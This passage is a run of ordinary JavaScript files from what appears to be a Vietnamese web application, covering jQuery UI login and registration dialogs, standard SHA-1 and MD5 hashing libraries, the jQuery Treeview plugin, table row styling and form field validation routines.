width: 400,
//height: 300,
title: 'Đăng ký',
buttons: {
"Đăng ký": function() {
var result = jwin.checkRegister();
if (result) {
$( this ).dialog( "close" );
jwin.registerNow();
}
},
"Nhập lại": function() {
jwin.clearRegister();
return false;
},
"Đăng nhập": function() {
$( this ).dialog( "close" );
jwin.showLogin();
}
},
close: function() {
},
open: function(){
$("body").css({overflow: 'hidden'});
registerDialog.scrollTop(0);
},
close: function(){
$("body").css({overflow: ''});
}
});
return false;
}
jwin.loginNow = function() {
var txtUsername = document.getElementById('txtUsername');
var txtPassword = document.getElementById('txtPassword');
var result = (txtUsername.value.trim().length > 0) && (txtPassword.value.trim().length > 0);
if(!result) {
jwin.showError('Tên đăng nhập hoặc mật khẩu không đúng.');
return result;
}
try {
var encodedPass = encodeURIComponent(hex_md5(document.getElementById("txtPassword").value.trim()));
var url = '/Services.Vigor.aspx?id=002&action=login&value=' + encodeURIComponent(txtUsername.value.trim()) + '&pass=' + encodedPass;
$.ajax({url: url,
dataType: 'json',
cache: true,
async: false,
context: this })
.done(function(data) {
if (data.result === 'OK') {
location.href = '/';
result = true;
} else {
jwin.showError('Tên đăng nhập hoặc mật khẩu không đúng.');
result = false;
}
});
} catch (e) { }
return result;
}
jwin.showLogin = function() {
//jwin.showMessage($('#loginDialogDetail').html(), 'Đăng nhập');
var loginDialog = $('#loginDialogDetail');
loginDialog.dialog({
modal: true,
resizable: false,
autoOpen: true,
width: 400,
//height: 300,
title: 'Đăng nhập',
buttons: {
"Đăng nhập": function() {
if (jwin.loginNow() == true) {
$( this ).dialog( "close" );
}
},
"Đăng ký": function() {
$( this ).dialog( "close" );
jwin.showRegister();
}
},
close: function() {
},
open: function(){
$('#txtUsername').val('');
$('#txtPassword').val('');
$('#txtUsername').blur();
$('#txtPassword').blur();
$('#txtUsername').get(0).focus();
$("body").css({overflow: 'hidden'});
loginDialog.scrollTop(0);
},
close: function(){
$("body").css({overflow: ''});
}
});
return false;
}
jwin.showLogout= function() {
try {
var url = '/Services.Vigor.aspx?id=002&action=logout';
$.ajax({url: url,
dataType: 'json',
cache: true,
async: false,
context: this })
.done(function(data) {
});
} catch (e) { }
location.href = '/';
return false;
} | JavaScript |
$(document).ready(function() {
$(document.body).append('<div id="top" title="Back to top">Back to Top</div>');
if ($(window).scrollTop() < 100) {
$('#top').fadeOut();
}
$(window).scroll(function() {
if($(window).scrollTop() >= 100) {
$('#top').fadeIn();
} else {
$('#top').fadeOut();
}
});
$('#top').click(function() {
$('html, body').animate({scrollTop:0},300);
});
}); | JavaScript |
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
/* SHA-1 implementation in JavaScript | (c) Chris Veness 2002-2010 | www.movable-type.co.uk */
/* - see http://csrc.nist.gov/groups/ST/toolkit/secure_hashing.html */
/* http://csrc.nist.gov/groups/ST/toolkit/examples.html */
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
var Sha1 = {}; // Sha1 namespace
/**
* Generates SHA-1 hash of string
*
* @param {String} msg String to be hashed
* @param {Boolean} [utf8encode=true] Encode msg as UTF-8 before generating hash
* @returns {String} Hash of msg as hex character string
*/
Sha1.hash = function(msg, utf8encode) {
utf8encode = (typeof utf8encode == 'undefined') ? true : utf8encode;
// convert string to UTF-8, as SHA only deals with byte-streams
if (utf8encode) msg = Utf8.encode(msg);
// constants [§4.2.1]
var K = [0x5a827999, 0x6ed9eba1, 0x8f1bbcdc, 0xca62c1d6];
// PREPROCESSING
msg += String.fromCharCode(0x80); // add trailing '1' bit (+ 0's padding) to string [§5.1.1]
// convert string msg into 512-bit/16-integer blocks arrays of ints [§5.2.1]
var l = msg.length/4 + 2; // length (in 32-bit integers) of msg + ‘1’ + appended length
var N = Math.ceil(l/16); // number of 16-integer-blocks required to hold 'l' ints
var M = new Array(N);
for (var i=0; i<N; i++) {
M[i] = new Array(16);
for (var j=0; j<16; j++) { // encode 4 chars per integer, big-endian encoding
M[i][j] = (msg.charCodeAt(i*64+j*4)<<24) | (msg.charCodeAt(i*64+j*4+1)<<16) |
(msg.charCodeAt(i*64+j*4+2)<<8) | (msg.charCodeAt(i*64+j*4+3));
} // note running off the end of msg is ok 'cos bitwise ops on NaN return 0
}
// add length (in bits) into final pair of 32-bit integers (big-endian) [§5.1.1]
// note: most significant word would be (len-1)*8 >>> 32, but since JS converts
// bitwise-op args to 32 bits, we need to simulate this by arithmetic operators
M[N-1][14] = ((msg.length-1)*8) / Math.pow(2, 32); M[N-1][14] = Math.floor(M[N-1][14])
M[N-1][15] = ((msg.length-1)*8) & 0xffffffff;
// set initial hash value [§5.3.1]
var H0 = 0x67452301;
var H1 = 0xefcdab89;
var H2 = 0x98badcfe;
var H3 = 0x10325476;
var H4 = 0xc3d2e1f0;
// HASH COMPUTATION [§6.1.2]
var W = new Array(80); var a, b, c, d, e;
for (var i=0; i<N; i++) {
// 1 - prepare message schedule 'W'
for (var t=0; t<16; t++) W[t] = M[i][t];
for (var t=16; t<80; t++) W[t] = Sha1.ROTL(W[t-3] ^ W[t-8] ^ W[t-14] ^ W[t-16], 1);
// 2 - initialise five working variables a, b, c, d, e with previous hash value
a = H0; b = H1; c = H2; d = H3; e = H4;
// 3 - main loop
for (var t=0; t<80; t++) {
var s = Math.floor(t/20); // seq for blocks of 'f' functions and 'K' constants
var T = (Sha1.ROTL(a,5) + Sha1.f(s,b,c,d) + e + K[s] + W[t]) & 0xffffffff;
e = d;
d = c;
c = Sha1.ROTL(b, 30);
b = a;
a = T;
}
// 4 - compute the new intermediate hash value
H0 = (H0+a) & 0xffffffff; // note 'addition modulo 2^32'
H1 = (H1+b) & 0xffffffff;
H2 = (H2+c) & 0xffffffff;
H3 = (H3+d) & 0xffffffff;
H4 = (H4+e) & 0xffffffff;
}
return Sha1.toHexStr(H0) + Sha1.toHexStr(H1) +
Sha1.toHexStr(H2) + Sha1.toHexStr(H3) + Sha1.toHexStr(H4);
}
//
// function 'f' [§4.1.1]
//
Sha1.f = function(s, x, y, z) {
switch (s) {
case 0: return (x & y) ^ (~x & z); // Ch()
case 1: return x ^ y ^ z; // Parity()
case 2: return (x & y) ^ (x & z) ^ (y & z); // Maj()
case 3: return x ^ y ^ z; // Parity()
}
}
//
// rotate left (circular left shift) value x by n positions [§3.2.5]
//
Sha1.ROTL = function(x, n) {
return (x<<n) | (x>>>(32-n));
}
//
// hexadecimal representation of a number
// (note toString(16) is implementation-dependant, and
// in IE returns signed numbers when used on full words)
//
Sha1.toHexStr = function(n) {
var s="", v;
for (var i=7; i>=0; i--) { v = (n>>>(i*4)) & 0xf; s += v.toString(16); }
return s;
}
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ | JavaScript |
/*
* A JavaScript implementation of the RSA Data Security, Inc. MD5 Message
* Digest Algorithm, as defined in RFC 1321.
* Version 2.1 Copyright (C) Paul Johnston 1999 - 2002.
* Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
* Distributed under the BSD License
* See http://pajhome.org.uk/crypt/md5 for more info.
*/
/*
* Configurable variables. You may need to tweak these to be compatible with
* the server-side, but the defaults work in most cases.
*/
var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */
var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance */
var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode */
/*
* These are the functions you'll usually want to call
* They take string arguments and return either hex or base-64 encoded strings
*/
function hex_md5(s){ return binl2hex(core_md5(str2binl(s), s.length * chrsz));}
function b64_md5(s){ return binl2b64(core_md5(str2binl(s), s.length * chrsz));}
function str_md5(s){ return binl2str(core_md5(str2binl(s), s.length * chrsz));}
function hex_hmac_md5(key, data) { return binl2hex(core_hmac_md5(key, data)); }
function b64_hmac_md5(key, data) { return binl2b64(core_hmac_md5(key, data)); }
function str_hmac_md5(key, data) { return binl2str(core_hmac_md5(key, data)); }
/*
* Perform a simple self-test to see if the VM is working
*/
function md5_vm_test()
{
return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72";
}
/*
* Calculate the MD5 of an array of little-endian words, and a bit length
*/
function core_md5(x, len)
{
/* append padding */
x[len >> 5] |= 0x80 << ((len) % 32);
x[(((len + 64) >>> 9) << 4) + 14] = len;
var a = 1732584193;
var b = -271733879;
var c = -1732584194;
var d = 271733878;
for(var i = 0; i < x.length; i += 16)
{
var olda = a;
var oldb = b;
var oldc = c;
var oldd = d;
a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);
d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);
c = md5_ff(c, d, a, b, x[i+ 2], 17, 606105819);
b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);
a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);
d = md5_ff(d, a, b, c, x[i+ 5], 12, 1200080426);
c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);
b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);
a = md5_ff(a, b, c, d, x[i+ 8], 7 , 1770035416);
d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);
c = md5_ff(c, d, a, b, x[i+10], 17, -42063);
b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162);
a = md5_ff(a, b, c, d, x[i+12], 7 , 1804603682);
d = md5_ff(d, a, b, c, x[i+13], 12, -40341101);
c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290);
b = md5_ff(b, c, d, a, x[i+15], 22, 1236535329);
a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);
d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
c = md5_gg(c, d, a, b, x[i+11], 14, 643717713);
b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);
a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);
d = md5_gg(d, a, b, c, x[i+10], 9 , 38016083);
c = md5_gg(c, d, a, b, x[i+15], 14, -660478335);
b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);
a = md5_gg(a, b, c, d, x[i+ 9], 5 , 568446438);
d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);
c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);
b = md5_gg(b, c, d, a, x[i+ 8], 20, 1163531501);
a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);
d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);
c = md5_gg(c, d, a, b, x[i+ 7], 14, 1735328473);
b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734);
a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);
d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);
c = md5_hh(c, d, a, b, x[i+11], 16, 1839030562);
b = md5_hh(b, c, d, a, x[i+14], 23, -35309556);
a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
d = md5_hh(d, a, b, c, x[i+ 4], 11, 1272893353);
c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);
b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640);
a = md5_hh(a, b, c, d, x[i+13], 4 , 681279174);
d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);
c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);
b = md5_hh(b, c, d, a, x[i+ 6], 23, 76029189);
a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);
d = md5_hh(d, a, b, c, x[i+12], 11, -421815835);
c = md5_hh(c, d, a, b, x[i+15], 16, 530742520);
b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);
a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);
d = md5_ii(d, a, b, c, x[i+ 7], 10, 1126891415);
c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905);
b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);
a = md5_ii(a, b, c, d, x[i+12], 6 , 1700485571);
d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);
c = md5_ii(c, d, a, b, x[i+10], 15, -1051523);
b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);
a = md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359);
d = md5_ii(d, a, b, c, x[i+15], 10, -30611744);
c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);
b = md5_ii(b, c, d, a, x[i+13], 21, 1309151649);
a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);
d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379);
c = md5_ii(c, d, a, b, x[i+ 2], 15, 718787259);
b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);
a = safe_add(a, olda);
b = safe_add(b, oldb);
c = safe_add(c, oldc);
d = safe_add(d, oldd);
}
return Array(a, b, c, d);
}
/*
* These functions implement the four basic operations the algorithm uses.
*/
function md5_cmn(q, a, b, x, s, t)
{
return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b);
}
function md5_ff(a, b, c, d, x, s, t)
{
return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);
}
function md5_gg(a, b, c, d, x, s, t)
{
return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);
}
function md5_hh(a, b, c, d, x, s, t)
{
return md5_cmn(b ^ c ^ d, a, b, x, s, t);
}
function md5_ii(a, b, c, d, x, s, t)
{
return md5_cmn(c ^ (b | (~d)), a, b, x, s, t);
}
/*
* Calculate the HMAC-MD5, of a key and some data
*/
function core_hmac_md5(key, data)
{
var bkey = str2binl(key);
if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);
var ipad = Array(16), opad = Array(16);
for(var i = 0; i < 16; i++)
{
ipad[i] = bkey[i] ^ 0x36363636;
opad[i] = bkey[i] ^ 0x5C5C5C5C;
}
var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);
return core_md5(opad.concat(hash), 512 + 128);
}
/*
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
* to work around bugs in some JS interpreters.
*/
function safe_add(x, y)
{
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (lsw & 0xFFFF);
}
/*
* Bitwise rotate a 32-bit number to the left.
*/
function bit_rol(num, cnt)
{
return (num << cnt) | (num >>> (32 - cnt));
}
/*
* Convert a string to an array of little-endian words
* If chrsz is ASCII, characters >255 have their hi-byte silently ignored.
*/
function str2binl(str)
{
var bin = Array();
var mask = (1 << chrsz) - 1;
for(var i = 0; i < str.length * chrsz; i += chrsz)
bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask) << (i%32);
return bin;
}
/*
* Convert an array of little-endian words to a string
*/
function binl2str(bin)
{
var str = "";
var mask = (1 << chrsz) - 1;
for(var i = 0; i < bin.length * 32; i += chrsz)
str += String.fromCharCode((bin[i>>5] >>> (i % 32)) & mask);
return str;
}
/*
* Convert an array of little-endian words to a hex string.
*/
function binl2hex(binarray)
{
var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
var str = "";
for(var i = 0; i < binarray.length * 4; i++)
{
str += hex_tab.charAt((binarray[i>>2] >> ((i%4)*8+4)) & 0xF) +
hex_tab.charAt((binarray[i>>2] >> ((i%4)*8 )) & 0xF);
}
return str;
}
/*
* Convert an array of little-endian words to a base-64 string
*/
function binl2b64(binarray)
{
var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var str = "";
for(var i = 0; i < binarray.length * 4; i += 3)
{
var triplet = (((binarray[i >> 2] >> 8 * ( i %4)) & 0xFF) << 16)
| (((binarray[i+1 >> 2] >> 8 * ((i+1)%4)) & 0xFF) << 8 )
| ((binarray[i+2 >> 2] >> 8 * ((i+2)%4)) & 0xFF);
for(var j = 0; j < 4; j++)
{
if(i * 8 + j * 6 > binarray.length * 32) str += b64pad;
else str += tab.charAt((triplet >> 6*(3-j)) & 0x3F);
}
}
return str;
}
| JavaScript |
/*
* Treeview 1.5pre - jQuery plugin to hide and show branches of a tree
*
* http://bassistance.de/jquery-plugins/jquery-plugin-treeview/
* http://docs.jquery.com/Plugins/Treeview
*
* Copyright (c) 2007 Jörn Zaefferer
*
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*
* Revision: $Id: jquery.treeview.js 5759 2008-07-01 07:50:28Z joern.zaefferer $
*
*/
;(function($) {
// TODO rewrite as a widget, removing all the extra plugins
$.extend($.fn, {
swapClass: function(c1, c2) {
var c1Elements = this.filter('.' + c1);
this.filter('.' + c2).removeClass(c2).addClass(c1);
c1Elements.removeClass(c1).addClass(c2);
return this;
},
replaceClass: function(c1, c2) {
return this.filter('.' + c1).removeClass(c1).addClass(c2).end();
},
hoverClass: function(className) {
className = className || "hover";
return this.hover(function() {
$(this).addClass(className);
}, function() {
$(this).removeClass(className);
});
},
heightToggle: function(animated, callback) {
animated ?
this.animate({ height: "toggle" }, animated, callback) :
this.each(function(){
jQuery(this)[ jQuery(this).is(":hidden") ? "show" : "hide" ]();
if(callback)
callback.apply(this, arguments);
});
},
heightHide: function(animated, callback) {
if (animated) {
this.animate({ height: "hide" }, animated, callback);
} else {
this.hide();
if (callback)
this.each(callback);
}
},
prepareBranches: function(settings) {
if (!settings.prerendered) {
// mark last tree items
this.filter(":last-child:not(ul)").addClass(CLASSES.last);
// collapse whole tree, or only those marked as closed, anyway except those marked as open
this.filter((settings.collapsed ? "" : "." + CLASSES.closed) + ":not(." + CLASSES.open + ")").find(">ul").hide();
}
// return all items with sublists
return this.filter(":has(>ul)");
},
applyClasses: function(settings, toggler) {
// TODO use event delegation
this.filter(":has(>ul):not(:has(>a))").find(">span").unbind("click.treeview").bind("click.treeview", function(event) {
// don't handle click events on children, eg. checkboxes
if ( this == event.target )
toggler.apply($(this).next());
}).add( $("a", this) ).hoverClass();
if (!settings.prerendered) {
// handle closed ones first
this.filter(":has(>ul:hidden)")
.addClass(CLASSES.expandable)
.replaceClass(CLASSES.last, CLASSES.lastExpandable);
// handle open ones
this.not(":has(>ul:hidden)")
.addClass(CLASSES.collapsable)
.replaceClass(CLASSES.last, CLASSES.lastCollapsable);
// create hitarea if not present
var hitarea = this.find("div." + CLASSES.hitarea);
if (!hitarea.length)
hitarea = this.prepend("<div class=\"" + CLASSES.hitarea + "\"/>").find("div." + CLASSES.hitarea);
hitarea.removeClass().addClass(CLASSES.hitarea).each(function() {
var classes = "";
$.each($(this).parent().attr("class").split(" "), function() {
classes += this + "-hitarea ";
});
$(this).addClass( classes );
})
}
// apply event to hitarea
this.find("div." + CLASSES.hitarea).click( toggler );
},
treeview: function(settings) {
settings = $.extend({
cookieId: "treeview"
}, settings);
if ( settings.toggle ) {
var callback = settings.toggle;
settings.toggle = function() {
return callback.apply($(this).parent()[0], arguments);
};
}
// factory for treecontroller
function treeController(tree, control) {
// factory for click handlers
function handler(filter) {
return function() {
// reuse toggle event handler, applying the elements to toggle
// start searching for all hitareas
toggler.apply( $("div." + CLASSES.hitarea, tree).filter(function() {
// for plain toggle, no filter is provided, otherwise we need to check the parent element
return filter ? $(this).parent("." + filter).length : true;
}) );
return false;
};
}
// click on first element to collapse tree
$("a:eq(0)", control).click( handler(CLASSES.collapsable) );
// click on second to expand tree
$("a:eq(1)", control).click( handler(CLASSES.expandable) );
// click on third to toggle tree
$("a:eq(2)", control).click( handler() );
}
// handle toggle event
function toggler() {
$(this)
.parent()
// swap classes for hitarea
.find(">.hitarea")
.swapClass( CLASSES.collapsableHitarea, CLASSES.expandableHitarea )
.swapClass( CLASSES.lastCollapsableHitarea, CLASSES.lastExpandableHitarea )
.end()
// swap classes for parent li
.swapClass( CLASSES.collapsable, CLASSES.expandable )
.swapClass( CLASSES.lastCollapsable, CLASSES.lastExpandable )
// find child lists
.find( ">ul" )
// toggle them
.heightToggle( settings.animated, settings.toggle );
if ( settings.unique ) {
$(this).parent()
.siblings()
// swap classes for hitarea
.find(">.hitarea")
.replaceClass( CLASSES.collapsableHitarea, CLASSES.expandableHitarea )
.replaceClass( CLASSES.lastCollapsableHitarea, CLASSES.lastExpandableHitarea )
.end()
.replaceClass( CLASSES.collapsable, CLASSES.expandable )
.replaceClass( CLASSES.lastCollapsable, CLASSES.lastExpandable )
.find( ">ul" )
.heightHide( settings.animated, settings.toggle );
}
}
this.data("toggler", toggler);
function serialize() {
function binary(arg) {
return arg ? 1 : 0;
}
var data = [];
branches.each(function(i, e) {
data[i] = $(e).is(":has(>ul:visible)") ? 1 : 0;
});
$.cookie(settings.cookieId, data.join(""), settings.cookieOptions );
}
function deserialize() {
var stored = $.cookie(settings.cookieId);
if ( stored ) {
var data = stored.split("");
branches.each(function(i, e) {
$(e).find(">ul")[ parseInt(data[i]) ? "show" : "hide" ]();
});
}
}
// add treeview class to activate styles
this.addClass("treeview");
// prepare branches and find all tree items with child lists
var branches = this.find("li").prepareBranches(settings);
switch(settings.persist) {
case "cookie":
var toggleCallback = settings.toggle;
settings.toggle = function() {
serialize();
if (toggleCallback) {
toggleCallback.apply(this, arguments);
}
};
deserialize();
break;
case "location":
var current = this.find("a").filter(function() {
return this.href.toLowerCase() == location.href.toLowerCase();
});
if ( current.length ) {
// TODO update the open/closed classes
var items = current.addClass("selected").parents("ul, li").add( current.next() ).show();
if (settings.prerendered) {
// if prerendered is on, replicate the basic class swapping
items.filter("li")
.swapClass( CLASSES.collapsable, CLASSES.expandable )
.swapClass( CLASSES.lastCollapsable, CLASSES.lastExpandable )
.find(">.hitarea")
.swapClass( CLASSES.collapsableHitarea, CLASSES.expandableHitarea )
.swapClass( CLASSES.lastCollapsableHitarea, CLASSES.lastExpandableHitarea );
}
}
break;
}
branches.applyClasses(settings, toggler);
// if control option is set, create the treecontroller and show it
if ( settings.control ) {
treeController(this, settings.control);
$(settings.control).show();
}
return this;
}
});
// classes used by the plugin
// need to be styled via external stylesheet, see first example
$.treeview = {};
var CLASSES = ($.treeview.classes = {
open: "open",
closed: "closed",
expandable: "expandable",
expandableHitarea: "expandable-hitarea",
lastExpandableHitarea: "lastExpandable-hitarea",
collapsable: "collapsable",
collapsableHitarea: "collapsable-hitarea",
lastCollapsableHitarea: "lastCollapsable-hitarea",
lastCollapsable: "lastCollapsable",
lastExpandable: "lastExpandable",
last: "last",
hitarea: "hitarea"
});
})(jQuery); | JavaScript |
(function($) {
var CLASSES = $.treeview.classes;
var proxied = $.fn.treeview;
$.fn.treeview = function(settings) {
settings = $.extend({}, settings);
if (settings.add) {
return this.trigger("add", [settings.add]);
}
if (settings.remove) {
return this.trigger("remove", [settings.remove]);
}
return proxied.apply(this, arguments).bind("add", function(event, branches) {
$(branches).prev()
.removeClass(CLASSES.last)
.removeClass(CLASSES.lastCollapsable)
.removeClass(CLASSES.lastExpandable)
.find(">.hitarea")
.removeClass(CLASSES.lastCollapsableHitarea)
.removeClass(CLASSES.lastExpandableHitarea);
$(branches).find("li").andSelf().prepareBranches(settings).applyClasses(settings, $(this).data("toggler"));
}).bind("remove", function(event, branches) {
var prev = $(branches).prev();
var parent = $(branches).parent();
$(branches).remove();
prev.filter(":last-child").addClass(CLASSES.last)
.filter("." + CLASSES.expandable).replaceClass(CLASSES.last, CLASSES.lastExpandable).end()
.find(">.hitarea").replaceClass(CLASSES.expandableHitarea, CLASSES.lastExpandableHitarea).end()
.filter("." + CLASSES.collapsable).replaceClass(CLASSES.last, CLASSES.lastCollapsable).end()
.find(">.hitarea").replaceClass(CLASSES.collapsableHitarea, CLASSES.lastCollapsableHitarea);
if (parent.is(":not(:has(>))") && parent[0] != this) {
parent.parent().removeClass(CLASSES.collapsable).removeClass(CLASSES.expandable)
parent.siblings(".hitarea").andSelf().remove();
}
});
};
})(jQuery); | JavaScript |
NTTHAO.namespace("TreeView");
NTTHAO.TreeView.create = function(o, data, clickEvent) {
o = NTTHAO.util.getElement(o);
var oCtrl = new Object();
oCtrl.Tree = new YAHOO.widget.TreeView(o.id);
}
| JavaScript |
// JScript File
NTTHAO.namespace("gridview");
NTTHAO.gridview.ontrmouseover = function() {
this.className = "rowover " + this.className;
};
NTTHAO.gridview.ontrmouseout = function() {
this.className = this.className.replace(/rowover /g, "");
};
NTTHAO.gridview.init = function(grid) {
var tbDataList = null;
if(grid && grid.length) {
tbDataList = document.getElementById(grid);
} else {
tbDataList = grid;
}
var index = 0;
for(var i = 0; i < tbDataList.rows.length; i++) {
if (tbDataList.rows[i].style.display.toLowerCase() != 'none') {
tbDataList.rows[i].setAttribute('class', index%2==0?'even':'odd');
index++;
}
}
var ieVersion = getIEVersionNumber();
if (ieVersion < 1 || ieVersion > 6) {
return;
}
var trDataRows = tbDataList.rows;
for(var i = 0; i < trDataRows.length; i++) {
var row = trDataRows[i];
YAHOO.util.Event.on(row, 'mouseover', NTTHAO.gridview.ontrmouseover);
YAHOO.util.Event.on(row, 'mouseout', NTTHAO.gridview.ontrmouseout);
}
}
YAHOO.util.Event.onDOMReady(function() {
var tbGrid = document.getElementById('tbGrid');
if (tbGrid != null) {
NTTHAO.gridview.init(tbGrid);
}
var tbInput = document.getElementById('tbInput');
if (tbInput != null) {
NTTHAO.gridview.init(tbInput);
}
}); | JavaScript |
function CheckFieldString(type, formField, strMsg)
{
var checkOK;
var checkStr = formField.value;
var allValid = true;
var flagDot = false;
var namestr, domainstr;
if (type == 'noblank')
{
if (checkStr == "")
{
return (strMsg + String.fromCharCode(10));
}
}
else
{
if (type == 'integer')
{
checkOK = "0123456789";
}
else if (type == 'decimal')
{
checkOK = "0123456789.";
}
else if (type == 'text')
{
checkOK = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ";
}
else if (type == 'alphanumeric')
{
checkOK = "0123456789.+-_#,/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ()_";
}
else if (type == 'full')
{
checkOK = "0123456789.,[]{}=+-_#,/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ()_:;'\\*^%$@<>?'";
}
else if (type == 'alphanum')
{
checkOK = "0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz ";
}
else if (type == 'verificationcode')
{
checkOK = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
}
else if (type == 'email')
{
checkOK = "0123456789_-@.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
if ( /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,7})+$/.test(checkStr) )
{
}
else
{
return (strMsg + String.fromCharCode(10));
}
}
else if (type == 'phone')
{
checkOK = "0123456789-+";
}
else if (type == 'URL')
{
//checkOK = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789.:/\\";
var RegExp = /^(http|https|ftp)\:\/\/([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&%\$\-]+)*@)*((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.(com|edu|gov|int|mil|net|org|biz|arpa|info|name|pro|aero|coop|museum|[a-zA-Z]{2}))(\:[0-9]+)*(\/($|[a-zA-Z0-9\.\,\?\'\\\+&%\$#\=~_\-]+))*$/i;
if(RegExp.test(checkStr)){
return "";
}else{
return (strMsg + String.fromCharCode(10));
}
}
else if (type == 'path')
{
checkOK = "0123456789.+-_#,/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz () \\ ";
}
else
{
return "Check Validation one of the mentioned validation type is wrong" + String.fromCharCode(10);
}
for (i = 0; i < checkStr.length; i++)
{
ch = checkStr.charAt(i);
for (j = 0; j < checkOK.length; j++)
{
if (ch == checkOK.charAt(j))
{
break;
}
if (j == checkOK.length-1)
{
allValid = false;
break;
}
}
if (!allValid)
{
return (strMsg + String.fromCharCode(10));
}
}
if (type == 'decimal') /* for decimal type */
{
for (t = 0; t < checkStr.length; t++)
{
dot = checkStr.charAt(t);
if (dot == '.' && flagDot == false)
{
flagDot = true;
}
else if (dot =='.' && flagDot == true)
{
return (strMsg + String.fromCharCode(10));
}
}
}
}
return "";
} | JavaScript |
/*
Copyright (c) 2008, ThaoNguyen. All rights reserved.
*/
/**
* The NTTHAO form validator is a generic validator for form submit event.
* @module formValidator
* @namespace NTTHAO.formValidator
*/
NTTHAO.formValidator = NTTHAO.formValidator || {};
NTTHAO.formValidator.validatorList = new Array();
NTTHAO.formValidator.onFormSubmit = function() {
var validateResult = true;
var arr = NTTHAO.formValidator.validatorList;
for (i = 0; i < arr.length; i++) {
try {
var val = {};
var args = {};
var objValidate = arr[i];
val.controltovalidate = objValidate.ctrlToValidate;
args.IsValid = true;
var func = objValidate.validateFunction;
func.apply(val.controltovalidate, [val, args]);
if (args.IsValid) {
NTTHAO.util.getElement(objValidate.ctrlToDisplayMessage).style.visibility = "hidden";
NTTHAO.util.getElement(objValidate.ctrlToDisplayMessage).style.display = "none";
} else {
NTTHAO.util.getElement(objValidate.ctrlToDisplayMessage).style.visibility = "";
